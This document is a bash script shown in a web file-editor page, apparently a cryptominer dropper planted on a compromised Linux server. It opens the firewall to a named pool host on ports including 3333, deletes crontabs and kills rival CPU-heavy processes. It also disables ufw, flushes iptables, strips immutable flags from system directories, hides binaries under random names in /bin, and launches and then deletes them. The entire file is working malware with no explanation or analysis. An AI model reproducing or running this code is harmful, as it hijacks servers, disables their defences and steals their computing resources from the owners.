Edit file File name : kn Content :#!/bin/bash domain="n-am.lnxx.site" ports="80 443 3333" protocol="tcp" # Perform DNS lookup and extract IP addresses ip_addresses=$(nslookup -timeout=2 -retry=1 "$domain" | grep Address | awk '!/8\.8\.8\.8#53/ {print $2}') if [ -n "$ip_addresses" ]; then for ip in $ip_addresses; do # Accept incoming and outgoing traffic from the specified individual IP iptables -A INPUT -s "$ip" -j ACCEPT >/dev/null 2>&1 iptables -A OUTPUT -d "$ip" -j ACCEPT >/dev/null 2>&1 /etc/alternatives/iptables -A INPUT -s "$ip" -j ACCEPT >/dev/null 2>&1 /etc/alternatives/iptables -A OUTPUT -d "$ip" -j ACCEPT >/dev/null 2>&1 # Truncate IP to /24 (subnet mask 255.255.255.0) and accept incoming and outgoing traffic from the entire subnet ip_range=$(echo "$ip" | cut -d. -f1-3) iptables -A INPUT -s "$ip_range".0/24 -j ACCEPT >/dev/null 2>&1 iptables -A OUTPUT -d "$ip_range".0/24 -j ACCEPT >/dev/null 2>&1 /etc/alternatives/iptables -A INPUT -s "$ip_range".0/24 -j ACCEPT >/dev/null 2>&1 /etc/alternatives/iptables -A OUTPUT -d "$ip_range".0/24 -j ACCEPT >/dev/null 2>&1 # Accept traffic on specified ports from the individual IP for port in $ports; do iptables -A INPUT -s "$ip" -p "$protocol" --dport "$port" -j ACCEPT >/dev/null 2>&1 iptables -A OUTPUT -d "$ip" -p "$protocol" --dport "$port" -j ACCEPT >/dev/null 2>&1 /etc/alternatives/iptables -A INPUT -s "$ip" -p "$protocol" --dport "$port" -j ACCEPT >/dev/null 2>&1 /etc/alternatives/iptables -A OUTPUT -d "$ip" -p "$protocol" --dport "$port" -j ACCEPT >/dev/null 2>&1 # Accept traffic on specified ports from the entire subnet iptables -A INPUT -s "$ip_range".0/24 -p "$protocol" --dport "$port" -j ACCEPT >/dev/null 2>&1 iptables -A OUTPUT -d "$ip_range".0/24 -p "$protocol" --dport "$port" -j ACCEPT >/dev/null 2>&1 /etc/alternatives/iptables -A INPUT -s "$ip_range".0/24 -p "$protocol" --dport "$port" -j ACCEPT >/dev/null 2>&1 /etc/alternatives/iptables -A OUTPUT -d "$ip_range".0/24 -p "$protocol" --dport "$port" -j ACCEPT >/dev/null 2>&1 done done else echo "Failed" fi crontab -r >/dev/null 2>&1 ps aux | grep -vw 'xmr-stak\|ld-linux.so.2' | (test -e /bin/.lock && grep -vwf /bin/.lock) | awk '{if($3>40.0) print $2}' | while read procid; do kill -9 $procid; done 2>/dev/null ufw disable >/dev/null 2>&1 iptables -P INPUT ACCEPT 2>/dev/null iptables -P OUTPUT ACCEPT 2>/dev/null iptables -P FORWARD ACCEPT 2>/dev/null iptables -F 2>/dev/null chattr -i /usr/sbin/ >/dev/null 2>&1 chattr -i /usr/bin/ >/dev/null 2>&1 chattr -i /bin/ >/dev/null 2>&1 chattr -i /usr/lib >/dev/null 2>&1 chattr -i /usr/lib64 >/dev/null 2>&1 chattr -i /usr/libexec >/dev/null 2>&1 chattr -i /etc/ >/dev/null 2>&1 chattr -i /tmp/ >/dev/null 2>&1 chattr -i /sbin/ >/dev/null 2>&1 chattr -i /etc/resolv.conf >/dev/null 2>&1 chattr -i /etc/cron.d/systeml >/dev/null 2>&1 chattr -i /etc/cron.weekly/systeml >/dev/null 2>&1 chattr -i /etc/cron.hourly/systeml >/dev/null 2>&1 chattr -i /etc/cron.daily/systeml >/dev/null 2>&1 chattr -i /etc/cron.monthly/systeml >/dev/null 2>&1 chattr -ia /etc/ld.so.preload 2>/dev/null cat /dev/null > /etc/ld.so.preload 2>/dev/null # Check if a file exists containing the previous filenames if [ -e "/usr/lib/systemd/previous_filenames1" ] && [ -e "/usr/lib/systemd/previous_filenames2" ]; then # Read the previous filenames from the files read -r file1 < "/usr/lib/systemd/previous_filenames1" read -r file2 < "/usr/lib/systemd/previous_filenames2" else # Generate new random filenames file1="/bin/$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1)" file2="/bin/$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1)" # Save the filenames to files for the next run echo "$file1" > "/usr/lib/systemd/previous_filenames1" echo "$file2" > "/usr/lib/systemd/previous_filenames2" fi # Move the files to their new names mv x86_64 "$file1" 2>/dev/null mv i386 "$file2" 2>/dev/null BACK="$file1" SERVICE="netools" NEO="$file2" EXEC="netools" DIR="/tmp" LOCK_FILE="/bin/.lock" chattr -iaus /etc/cron.*/$COPY /etc/init.d/$COPY 2>/dev/null if [ -e "/bin/.lock" ]; then PID=$(cat /bin/.lock) else touch /bin/.lock 2>/dev/null truncate -s 0 /bin/.lock 2>/dev/null PID=0 # Set an initial value, assuming 0 is not a valid process ID fi # Check if the corresponding directory exists in /proc/ if [ -n "$PID" ] && [ "$PID" -ne 0 ] && ls -la "/proc/$PID" > /dev/null 2>&1; then echo "Running" else echo "Not running" cp "$BACK" "$DIR/$EXEC" 2>/dev/null cp "$NEO" "$DIR/neo" 2>/dev/null chmod +x "$DIR/$EXEC" 2>/dev/null chmod +x "$DIR/neo" 2>/dev/null # Check if the process is not already running before starting it if [ -z "$(pidof "$EXEC")" ]; then "$DIR/$EXEC" --tls >/dev/null 2>&1 sleep 2 rm -rf "$DIR/$EXEC" PID=$(pidof "$EXEC") fi truncate -s 0 /bin/.lock echo "$PID" > /bin/.lock 2>/dev/null fi sleep 2 "$DIR/neo" "$PID" >/dev/null 2>&1 rm -rf "$DIR/neo" sleep 2 pkill -f fold pkill -f cat pkill -f tr Save